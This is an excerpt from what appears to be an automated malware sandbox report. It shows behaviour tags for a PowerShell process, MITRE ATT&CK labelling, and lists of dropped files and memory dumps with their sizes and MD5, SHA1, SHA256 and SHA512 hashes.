          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2612

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    2d4d59ecff1b6f24dbc11ef6f79f0ada

    SHA1

    4cd9ab5bee4c2825b38d98b07470d3c68ee50494

    SHA256

    875294fcfb5fd9ecc7567bf63458d83270ee0acd4487be46fdc375196002b3ca

    SHA512

    150b183534de518810747add37ef4465bd65a3e0570dd1352022450827f4eafe7ea0ab75b479ee7618ee817c677fd3339f40bb688e4692a04af13197ca32f891

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  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    228cb3aaccbafdaf1818b1080d2ab796

    SHA1

    436f35fdce82fff3da918e6da1e722f2c52121ec

    SHA256

    541c1e853795763b35aba1e271f4dbed3b7930609f5f84caa4b15a5087bf6328

    SHA512

    97546cf6fc948edcc8943016a587d2c2b8175d3031d624d1a9a59d1c9ddf559fab8145d318dff7f2115f3b1f7d0a3d0040ec4a3d5c2952135871146c7ed669fe

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  • memory/1628-4-0x000007FEF63DE000-0x000007FEF63DF000-memory.dmp

    Filesize

    4KB

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  • memory/1628-5-0x000000001B250000-0x000000001B532000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/1628-7-0x00000000024A0000-0x00000000024A8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/1628-6-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

    Filesize

    9.6MB

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  • memory/1628-8-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1628-9-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1628-10-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1628-11-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1628-17-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1628-18-0x000007FEF63DE000-0x000007FEF63DF000-memory.dmp

    Filesize

    4KB

    Download